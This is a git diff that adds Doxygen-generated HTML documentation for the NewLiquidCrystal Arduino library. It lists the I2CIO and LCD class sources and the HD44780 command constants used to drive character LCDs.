+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h_source.html new file mode 100644 index 0000000..3e2363c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h_source.html @@ -0,0 +1,171 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/I2CIO.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/I2CIO.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file I2CIO.h
+
13 // This file implements a basic IO library using the PCF8574 I2C IO Expander
+
14 // chip.
+
15 //
+
16 // @brief
+
17 // Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC.
+
18 // The library implements basic IO general methods to configure IO pin direction
+
19 // read and write uint8_t operations and basic pin level routines to set or read
+
20 // a particular IO port.
+
21 //
+
22 // @version API 1.0.0
+
23 //
+
24 // @author F. Malpartida - fmalpartida@gmail.com
+
25 // ---------------------------------------------------------------------------
+
26 
+
27 #ifndef _I2CIO_H_
+
28 #define _I2CIO_H_
+
29 
+
30 #include <inttypes.h>
+
31 
+
32 #define _I2CIO_VERSION "1.0.0"
+
33 
+
41 class I2CIO
+
42 {
+
43 public:
+
49  I2CIO ( );
+
50 
+
62  int begin ( uint8_t i2cAddr );
+
63 
+
73  void pinMode ( uint8_t pin, uint8_t dir );
+
74 
+
83  void portMode ( uint8_t dir );
+
84 
+
94  uint8_t read ( void );
+
95 
+
108  uint8_t digitalRead ( uint8_t pin );
+
109 
+
123  int write ( uint8_t value );
+
124 
+
136  int digitalWrite ( uint8_t pin, uint8_t level );
+
137 
+
138 
+
139 
+
140 private:
+
141  uint8_t _shadow; // Shadow output
+
142  uint8_t _dirMask; // Direction mask
+
143  uint8_t _i2cAddr; // I2C address
+
144  bool _initialised; // Initialised object
+
145 
+
154  bool isAvailable (uint8_t i2cAddr);
+
155 
+
156 };
+
157 
+
158 #endif
+
I2CIO
Definition: I2CIO.h:41
+
I2CIO::portMode
void portMode(uint8_t dir)
Definition: I2CIO.cpp:98
+
I2CIO::write
int write(uint8_t value)
Definition: I2CIO.cpp:135
+
I2CIO::pinMode
void pinMode(uint8_t pin, uint8_t dir)
Definition: I2CIO.cpp:81
+
I2CIO::digitalWrite
int digitalWrite(uint8_t pin, uint8_t level)
Definition: I2CIO.cpp:175
+
I2CIO::digitalRead
uint8_t digitalRead(uint8_t pin)
Definition: I2CIO.cpp:158
+
I2CIO::I2CIO
I2CIO()
Definition: I2CIO.cpp:46
+
I2CIO::begin
int begin(uint8_t i2cAddr)
Definition: I2CIO.cpp:60
+
I2CIO::read
uint8_t read(void)
Definition: I2CIO.cpp:116
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp.html new file mode 100644 index 0000000..812e2d9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp.html @@ -0,0 +1,120 @@ + + + + +LCD Library: LCD.cpp File Reference + + + + + + + + + + + + + +
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+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
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+
+
+ +
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+
+
LCD.cpp File Reference
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#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LCD.h"
+
+

Go to the source code of this file.

+ +
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+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp_source.html new file mode 100644 index 0000000..96240d9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp_source.html @@ -0,0 +1,481 @@ + + + + +LCD Library: LCD.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LCD.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LCD.cpp
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the HD44780 library of the
+00018 // Arduino SDK. This library is a refactored version of the one supplied
+00019 // in the Arduino SDK in such a way that it simplifies its extension
+00020 // to support other mechanism to communicate to LCDs such as I2C, Serial, SR, ...
+00021 // The original library has been reworked in such a way that this will be
+00022 // the base class implementing all generic methods to command an LCD based
+00023 // on the Hitachi HD44780 and compatible chipsets.
+00024 //
+00025 // This base class is a pure abstract class and needs to be extended. As reference,
+00026 // it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension
+00027 // backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC.
+00028 //
+00029 //
+00030 // @version API 1.1.0
+00031 //
+00032 // 2012.03.29 bperrybap - changed comparision to use LCD_5x8DOTS rather than 0
+00033 // @author F. Malpartida - fmalpartida@gmail.com
+00034 // ---------------------------------------------------------------------------
+00035 #include <stdio.h>
+00036 #include <string.h>
+00037 #include <inttypes.h>
+00038 
+00039 #if (ARDUINO <  100)
+00040 #include <WProgram.h>
+00041 #else
+00042 #include <Arduino.h>
+00043 #endif
+00044 
+00045 #include "LCD.h"
+00046 
+00047 // CLASS CONSTRUCTORS
+00048 // ---------------------------------------------------------------------------
+00049 // Constructor
+00050 LCD::LCD () 
+00051 {
+00052    
+00053 }
+00054 
+00055 // PUBLIC METHODS
+00056 // ---------------------------------------------------------------------------
+00057 // When the display powers up, it is configured as follows:
+00058 // 0. LCD starts in 8 bit mode
+00059 // 1. Display clear
+00060 // 2. Function set: 
+00061 //    DL = 1; 8-bit interface data 
+00062 //    N = 0; 1-line display 
+00063 //    F = 0; 5x8 dot character font 
+00064 // 3. Display on/off control: 
+00065 //    D = 0; Display off 
+00066 //    C = 0; Cursor off 
+00067 //    B = 0; Blinking off 
+00068 // 4. Entry mode set: 
+00069 //    I/D = 1; Increment by 1 
+00070 //    S = 0; No shift 
+00071 //
+00072 // Note, however, that resetting the Arduino doesn't reset the LCD, so we
+00073 // can't assume that its in that state when a application starts (and the
+00074 // LiquidCrystal constructor is called).
+00075 // A call to begin() will reinitialize the LCD.
+00076 //
+00077 void LCD::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) 
+00078 {
+00079    if (lines > 1) 
+00080    {
+00081       _displayfunction |= LCD_2LINE;
+00082    }
+00083    _numlines = lines;
+00084    _cols = cols;
+00085    
+00086    // for some 1 line displays you can select a 10 pixel high font
+00087    // ------------------------------------------------------------
+00088    if ((dotsize != LCD_5x8DOTS) && (lines == 1)) 
+00089    {
+00090       _displayfunction |= LCD_5x10DOTS;
+00091    }
+00092    
+00093    // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION!
+00094    // according to datasheet, we need at least 40ms after power rises above 2.7V
+00095    // before sending commands. Arduino can turn on way before 4.5V so we'll wait 
+00096    // 50
+00097    // ---------------------------------------------------------------------------
+00098    delay (100); // 100ms delay
+00099    
+00100    //put the LCD into 4 bit or 8 bit mode
+00101    // -------------------------------------
+00102    if (! (_displayfunction & LCD_8BITMODE)) 
+00103    {
+00104       // this is according to the hitachi HD44780 datasheet
+00105       // figure 24, pg 46
+00106       
+00107       // we start in 8bit mode, try to set 4 bit mode
+00108       // Special case of "Function Set"
+00109       send(0x03, FOUR_BITS);
+00110       delayMicroseconds(4500); // wait min 4.1ms
+00111       
+00112       // second try
+00113       send ( 0x03, FOUR_BITS );
+00114       delayMicroseconds(150); // wait min 100us
+00115       
+00116       // third go!
+00117       send( 0x03, FOUR_BITS );
+00118       delayMicroseconds(150); // wait min of 100us
+00119       
+00120       // finally, set to 4-bit interface
+00121       send ( 0x02, FOUR_BITS );
+00122       delayMicroseconds(150); // wait min of 100us
+00123 
+00124    } 
+00125    else 
+00126    {
+00127       // this is according to the hitachi HD44780 datasheet
+00128       // page 45 figure 23
+00129       
+00130       // Send function set command sequence
+00131       command(LCD_FUNCTIONSET | _displayfunction);
+00132       delayMicroseconds(4500);  // wait more than 4.1ms
+00133       
+00134       // second try
+00135       command(LCD_FUNCTIONSET | _displayfunction);
+00136       delayMicroseconds(150);
+00137       
+00138       // third go
+00139       command(LCD_FUNCTIONSET | _displayfunction);
+00140       delayMicroseconds(150);
+00141 
+00142    }
+00143    
+00144    // finally, set # lines, font size, etc.
+00145    command(LCD_FUNCTIONSET | _displayfunction);
+00146    delayMicroseconds ( 60 );  // wait more
+00147    
+00148    // turn the display on with no cursor or blinking default
+00149    _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF;  
+00150    display();
+00151    
+00152    // clear the LCD
+00153    clear();
+00154    
+00155    // Initialize to default text direction (for romance languages)
+00156    _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT;
+00157    // set the entry mode
+00158    command(LCD_ENTRYMODESET | _displaymode);
+00159 
+00160    backlight();
+00161 
+00162 }
+00163 
+00164 // Common LCD Commands
+00165 // ---------------------------------------------------------------------------
+00166 void LCD::clear()
+00167 {
+00168    command(LCD_CLEARDISPLAY);             // clear display, set cursor position to zero
+00169    delayMicroseconds(HOME_CLEAR_EXEC);    // this command is time consuming
+00170 }
+00171 
+00172 void LCD::home()
+00173 {
+00174    command(LCD_RETURNHOME);             // set cursor position to zero
+00175    delayMicroseconds(HOME_CLEAR_EXEC);  // This command is time consuming
+00176 }
+00177 
+00178 void LCD::setCursor(uint8_t col, uint8_t row)
+00179 {
+00180    const byte row_offsetsDef[]   = { 0x00, 0x40, 0x14, 0x54 }; // For regular LCDs
+00181    const byte row_offsetsLarge[] = { 0x00, 0x40, 0x10, 0x50 }; // For 16x4 LCDs
+00182    
+00183    if ( row >= _numlines ) 
+00184    {
+00185       row = _numlines-1;    // rows start at 0
+00186    }
+00187    
+00188    // 16x4 LCDs have special memory map layout
+00189    // ----------------------------------------
+00190    if ( _cols == 16 && _numlines == 4 )
+00191    {
+00192       command(LCD_SETDDRAMADDR | (col + row_offsetsLarge[row]));
+00193    }
+00194    else 
+00195    {
+00196       command(LCD_SETDDRAMADDR | (col + row_offsetsDef[row]));
+00197    }
+00198    
+00199 }
+00200 
+00201 // Turn the display on/off
+00202 void LCD::noDisplay() 
+00203 {
+00204    _displaycontrol &= ~LCD_DISPLAYON;
+00205    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00206 }
+00207 
+00208 void LCD::display() 
+00209 {
+00210    _displaycontrol |= LCD_DISPLAYON;
+00211    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00212 }
+00213 
+00214 // Turns the underline cursor on/off
+00215 void LCD::noCursor() 
+00216 {
+00217    _displaycontrol &= ~LCD_CURSORON;
+00218    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00219 }
+00220 void LCD::cursor() 
+00221 {
+00222    _displaycontrol |= LCD_CURSORON;
+00223    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00224 }
+00225 
+00226 // Turns on/off the blinking cursor
+00227 void LCD::noBlink() 
+00228 {
+00229    _displaycontrol &= ~LCD_BLINKON;
+00230    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00231 }
+00232 
+00233 void LCD::blink() 
+00234 {
+00235    _displaycontrol |= LCD_BLINKON;
+00236    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00237 }
+00238 
+00239 // These commands scroll the display without changing the RAM
+00240 void LCD::scrollDisplayLeft(void) 
+00241 {
+00242    command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT);
+00243 }
+00244 
+00245 void LCD::scrollDisplayRight(void) 
+00246 {
+00247    command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT);
+00248 }
+00249 
+00250 // This is for text that flows Left to Right
+00251 void LCD::leftToRight(void) 
+00252 {
+00253    _displaymode |= LCD_ENTRYLEFT;
+00254    command(LCD_ENTRYMODESET | _displaymode);
+00255 }
+00256 
+00257 // This is for text that flows Right to Left
+00258 void LCD::rightToLeft(void) 
+00259 {
+00260    _displaymode &= ~LCD_ENTRYLEFT;
+00261    command(LCD_ENTRYMODESET | _displaymode);
+00262 }
+00263 
+00264 // This method moves the cursor one space to the right
+00265 void LCD::moveCursorRight(void)
+00266 {
+00267    command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVERIGHT);
+00268 }
+00269 
+00270 // This method moves the cursor one space to the left
+00271 void LCD::moveCursorLeft(void)
+00272 {
+00273    command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVELEFT);
+00274 }
+00275 
+00276 
+00277 // This will 'right justify' text from the cursor
+00278 void LCD::autoscroll(void) 
+00279 {
+00280    _displaymode |= LCD_ENTRYSHIFTINCREMENT;
+00281    command(LCD_ENTRYMODESET | _displaymode);
+00282 }
+00283 
+00284 // This will 'left justify' text from the cursor
+00285 void LCD::noAutoscroll(void) 
+00286 {
+00287    _displaymode &= ~LCD_ENTRYSHIFTINCREMENT;
+00288    command(LCD_ENTRYMODESET | _displaymode);
+00289 }
+00290 
+00291 // Write to CGRAM of new characters
+00292 void LCD::createChar(uint8_t location, uint8_t charmap[]) 
+00293 {
+00294    location &= 0x7;            // we only have 8 locations 0-7
+00295    
+00296    command(LCD_SETCGRAMADDR | (location << 3));
+00297    delayMicroseconds(30);
+00298    
+00299    for (uint8_t i = 0; i < 8; i++)
+00300    {
+00301       write(charmap[i]);      // call the virtual write method
+00302       delayMicroseconds(40);
+00303    }
+00304 }
+00305 
+00306 #ifdef __AVR__
+00307 void LCD::createChar(uint8_t location, const char *charmap)
+00308 {
+00309    location &= 0x7;   // we only have 8 memory locations 0-7
+00310    
+00311    command(LCD_SETCGRAMADDR | (location << 3));
+00312    delayMicroseconds(30);
+00313    
+00314    for (uint8_t i = 0; i < 8; i++)
+00315    {
+00316       write(pgm_read_byte_near(charmap++));
+00317       delayMicroseconds(40);
+00318    }
+00319 }
+00320 #endif // __AVR__
+00321 
+00322 //
+00323 // Switch on the backlight
+00324 void LCD::backlight ( void )
+00325 {
+00326    setBacklight(255);
+00327 }
+00328 
+00329 //
+00330 // Switch off the backlight
+00331 void LCD::noBacklight ( void )
+00332 {
+00333    setBacklight(0);
+00334 }
+00335 
+00336 //
+00337 // Switch fully on the LCD (backlight and LCD)
+00338 void LCD::on ( void )
+00339 {
+00340    display();
+00341    backlight();
+00342 }
+00343 
+00344 //
+00345 // Switch fully off the LCD (backlight and LCD) 
+00346 void LCD::off ( void )
+00347 {
+00348    noBacklight();
+00349    noDisplay();
+00350 }
+00351 
+00352 // General LCD commands - generic methods used by the rest of the commands
+00353 // ---------------------------------------------------------------------------
+00354 void LCD::command(uint8_t value) 
+00355 {
+00356    send(value, COMMAND);
+00357 }
+00358 
+00359 #if (ARDUINO <  100)
+00360 void LCD::write(uint8_t value)
+00361 {
+00362    send(value, DATA);
+00363 }
+00364 #else
+00365 size_t LCD::write(uint8_t value) 
+00366 {
+00367    send(value, DATA);
+00368    return 1;             // assume OK
+00369 }
+00370 #endif
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h.html new file mode 100644 index 0000000..6f87675 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h.html @@ -0,0 +1,738 @@ + + + + +LCD Library: LCD.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Classes | +Defines | +Enumerations | +Functions
+
+
LCD.h File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include <Print.h>
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Classes

class  LCD

+Defines

#define BACKLIGHT_OFF   0
#define BACKLIGHT_ON   255
#define COMMAND   0
#define DATA   1
#define FOUR_BITS   2
#define HOME_CLEAR_EXEC   2000
#define LCD_1LINE   0x00
#define LCD_2LINE   0x08
#define LCD_4BITMODE   0x00
#define LCD_5x10DOTS   0x04
#define LCD_5x8DOTS   0x00
#define LCD_8BITMODE   0x10
#define LCD_BLINKOFF   0x00
#define LCD_BLINKON   0x01
#define LCD_CLEARDISPLAY   0x01
#define LCD_CURSORMOVE   0x00
#define LCD_CURSOROFF   0x00
#define LCD_CURSORON   0x02
#define LCD_CURSORSHIFT   0x10
#define LCD_DISPLAYCONTROL   0x08
#define LCD_DISPLAYMOVE   0x08
#define LCD_DISPLAYOFF   0x00
#define LCD_DISPLAYON   0x04
#define LCD_ENTRYLEFT   0x02
#define LCD_ENTRYMODESET   0x04
#define LCD_ENTRYRIGHT   0x00
#define LCD_ENTRYSHIFTDECREMENT   0x00
#define LCD_ENTRYSHIFTINCREMENT   0x01
#define LCD_FUNCTIONSET   0x20
#define LCD_MOVELEFT   0x00
#define LCD_MOVERIGHT   0x04
#define LCD_RETURNHOME   0x02
#define LCD_SETCGRAMADDR   0x40
#define LCD_SETDDRAMADDR   0x80

+Enumerations

enum  t_backlighPol { POSITIVE, +NEGATIVE + }

+Functions

static void waitUsec (uint16_t uSec)
+

Define Documentation

+ +
+
+ + + + +
#define BACKLIGHT_OFF   0
+
+
+

Backlight off constant declaration Used in combination with the setBacklight to swith off the LCD backlight. setBacklight

+ +

Definition at line 155 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define BACKLIGHT_ON   255
+
+
+

Backlight on constant declaration Used in combination with the setBacklight to swith on the LCD backlight. setBacklight

+ +

Definition at line 163 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define COMMAND   0
+
+
+ +

Definition at line 136 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define DATA   1
+
+
+ +

Definition at line 137 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define FOUR_BITS   2
+
+
+ +

Definition at line 138 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define HOME_CLEAR_EXEC   2000
+
+
+

Defines the duration of the home and clear commands This constant defines the time it takes for the home and clear commands in the LCD - Time in microseconds.

+ +

Definition at line 147 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_1LINE   0x00
+
+
+ +

Definition at line 129 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_2LINE   0x08
+
+
+ +

Definition at line 128 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_4BITMODE   0x00
+
+
+ +

Definition at line 127 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_5x10DOTS   0x04
+
+
+ +

Definition at line 130 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_5x8DOTS   0x00
+
+
+ +

Definition at line 131 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_8BITMODE   0x10
+
+
+ +

Definition at line 126 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_BLINKOFF   0x00
+
+
+ +

Definition at line 115 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_BLINKON   0x01
+
+
+ +

Definition at line 114 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CLEARDISPLAY   0x01
+
+
+

All these definitions shouldn't be used unless you are writing a driver. All these definitions are for driver implementation only and shouldn't be used by applications.

+ +

Definition at line 92 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORMOVE   0x00
+
+
+ +

Definition at line 120 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSOROFF   0x00
+
+
+ +

Definition at line 113 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORON   0x02
+
+
+ +

Definition at line 112 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORSHIFT   0x10
+
+
+ +

Definition at line 96 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYCONTROL   0x08
+
+
+ +

Definition at line 95 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYMOVE   0x08
+
+
+ +

Definition at line 119 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYOFF   0x00
+
+
+ +

Definition at line 111 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYON   0x04
+
+
+ +

Definition at line 110 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYLEFT   0x02
+
+
+ +

Definition at line 104 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYMODESET   0x04
+
+
+ +

Definition at line 94 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYRIGHT   0x00
+
+
+ +

Definition at line 103 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYSHIFTDECREMENT   0x00
+
+
+ +

Definition at line 106 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYSHIFTINCREMENT   0x01
+
+
+ +

Definition at line 105 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_FUNCTIONSET   0x20
+
+
+ +

Definition at line 97 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_MOVELEFT   0x00
+
+
+ +

Definition at line 122 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_MOVERIGHT   0x04
+
+
+ +

Definition at line 121 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_RETURNHOME   0x02
+
+
+ +

Definition at line 93 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_SETCGRAMADDR   0x40
+
+
+ +

Definition at line 98 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_SETDDRAMADDR   0x80
+
+
+ +

Definition at line 99 of file LCD.h.

+ +
+
+

Enumeration Type Documentation

+ +
+
+ + + + +
enum t_backlighPol
+
+
+
Enumerator:
+ + +
POSITIVE  +
NEGATIVE  +
+
+
+ +

Definition at line 171 of file LCD.h.

+ +
+
+

Function Documentation

+ +
+
+ + + + + + + + +
static void waitUsec (uint16_t uSec) [inline, static]
+
+
+

Enables disables fast waits for write operations for LCD If defined, the library will avoid doing un-necessary waits. this can be done, because the time taken by Arduino's slow digitalWrite operations. If fast digitalIO operations, comment this line out or undefine the mode.

+

waits for a given time in microseconds (compilation dependent). Waits for a given time defined in microseconds depending on the FAST_MODE define. If the FAST_MODE is defined the call will return inmediatelly.

+
Parameters:
+ + +
uSec[in]time in microseconds.
+
+
+
Returns:
None
+ +

Definition at line 75 of file LCD.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h_source.html new file mode 100644 index 0000000..ec62cb8 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h_source.html @@ -0,0 +1,355 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LCD.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LCD.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LCD.h
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK.
+
15 //
+
16 // @brief
+
17 // This is a basic implementation of the LiquidCrystal library of the
+
18 // Arduino SDK. This library is a refactored version of the one supplied
+
19 // in the Arduino SDK in such a way that it simplifies its extension
+
20 // to support other mechanism to communicate to LCDs such as I2C, Serial, SR,
+
21 // The original library has been reworked in such a way that this will be
+
22 // the base class implementing all generic methods to command an LCD based
+
23 // on the Hitachi HD44780 and compatible chipsets.
+
24 //
+
25 // This base class is a pure abstract class and needs to be extended. As reference,
+
26 // it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension
+
27 // backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC.
+
28 //
+
29 // The functionality provided by this class and its base class is identical
+
30 // to the original functionality of the Arduino LiquidCrystal library.
+
31 //
+
32 // @version API 1.1.0
+
33 //
+
34 //
+
35 // @author F. Malpartida - fmalpartida@gmail.com
+
36 // ---------------------------------------------------------------------------
+
37 #ifndef _LCD_H_
+
38 #define _LCD_H_
+
39 
+
40 #if (ARDUINO < 100)
+
41 #include <WProgram.h>
+
42 #else
+
43 #include <Arduino.h>
+
44 #endif
+
45 
+
46 #ifdef __AVR__
+
47 #include <avr/pgmspace.h>
+
48 #endif
+
49 
+
50 #include <inttypes.h>
+
51 #include <Print.h>
+
52 
+
53 
+
64 #ifndef _BV
+
65 #define _BV(bit) (1 << (bit))
+
66 #endif
+
67 
+
76 #ifdef __AVR__
+
77 #define FAST_MODE
+
78 #endif
+
79 
+
89 inline static void waitUsec ( uint16_t uSec )
+
90 {
+
91 #ifndef FAST_MODE
+
92  delayMicroseconds ( uSec );
+
93 #endif // FAST_MODE
+
94 }
+
95 
+
96 
+
104 // LCD Commands
+
105 // ---------------------------------------------------------------------------
+
106 #define LCD_CLEARDISPLAY 0x01
+
107 #define LCD_RETURNHOME 0x02
+
108 #define LCD_ENTRYMODESET 0x04
+
109 #define LCD_DISPLAYCONTROL 0x08
+
110 #define LCD_CURSORSHIFT 0x10
+
111 #define LCD_FUNCTIONSET 0x20
+
112 #define LCD_SETCGRAMADDR 0x40
+
113 #define LCD_SETDDRAMADDR 0x80
+
114 
+
115 // flags for display entry mode
+
116 // ---------------------------------------------------------------------------
+
117 #define LCD_ENTRYRIGHT 0x00
+
118 #define LCD_ENTRYLEFT 0x02
+
119 #define LCD_ENTRYSHIFTINCREMENT 0x01
+
120 #define LCD_ENTRYSHIFTDECREMENT 0x00
+
121 
+
122 // flags for display on/off and cursor control
+
123 // ---------------------------------------------------------------------------
+
124 #define LCD_DISPLAYON 0x04
+
125 #define LCD_DISPLAYOFF 0x00
+
126 #define LCD_CURSORON 0x02
+
127 #define LCD_CURSOROFF 0x00
+
128 #define LCD_BLINKON 0x01
+
129 #define LCD_BLINKOFF 0x00
+
130 
+
131 // flags for display/cursor shift
+
132 // ---------------------------------------------------------------------------
+
133 #define LCD_DISPLAYMOVE 0x08
+
134 #define LCD_CURSORMOVE 0x00
+
135 #define LCD_MOVERIGHT 0x04
+
136 #define LCD_MOVELEFT 0x00
+
137 
+
138 // flags for function set
+
139 // ---------------------------------------------------------------------------
+
140 #define LCD_8BITMODE 0x10
+
141 #define LCD_4BITMODE 0x00
+
142 #define LCD_2LINE 0x08
+
143 #define LCD_1LINE 0x00
+
144 #define LCD_5x10DOTS 0x04
+
145 #define LCD_5x8DOTS 0x00
+
146 
+
147 
+
148 // Define COMMAND and DATA LCD Rs (used by send method).
+
149 // ---------------------------------------------------------------------------
+
150 #define COMMAND 0
+
151 #define DATA 1
+
152 #define FOUR_BITS 2
+
153 
+
154 
+
161 #define HOME_CLEAR_EXEC 2000
+
162 
+
169 #define BACKLIGHT_OFF 0
+
170 
+
177 #define BACKLIGHT_ON 255
+
178 
+
179 
+
185 typedef enum { POSITIVE, NEGATIVE } t_backlighPol;
+
186 
+
187 class LCD : public Print
+
188 {
+
189 public:
+
190 
+
197  LCD ( );
+
198 
+
214  virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);
+
215 
+
226  void clear();
+
227 
+
239  void home();
+
240 
+
249  void noDisplay();
+
250 
+
260  void display();
+
261 
+
268  void noBlink();
+
269 
+
278  void blink();
+
279 
+
286  void noCursor();
+
287 
+
296  void cursor();
+
297 
+
305  void scrollDisplayLeft();
+
306 
+
314  void scrollDisplayRight();
+
315 
+
327  void leftToRight();
+
328 
+
340  void rightToLeft();
+
341 
+
348  void moveCursorLeft();
+
349 
+
350 
+
357  void moveCursorRight();
+
358 
+
372  void autoscroll();
+
373 
+
382  void noAutoscroll();
+
383 
+
400  void createChar(uint8_t location, uint8_t charmap[]);
+
401 
+
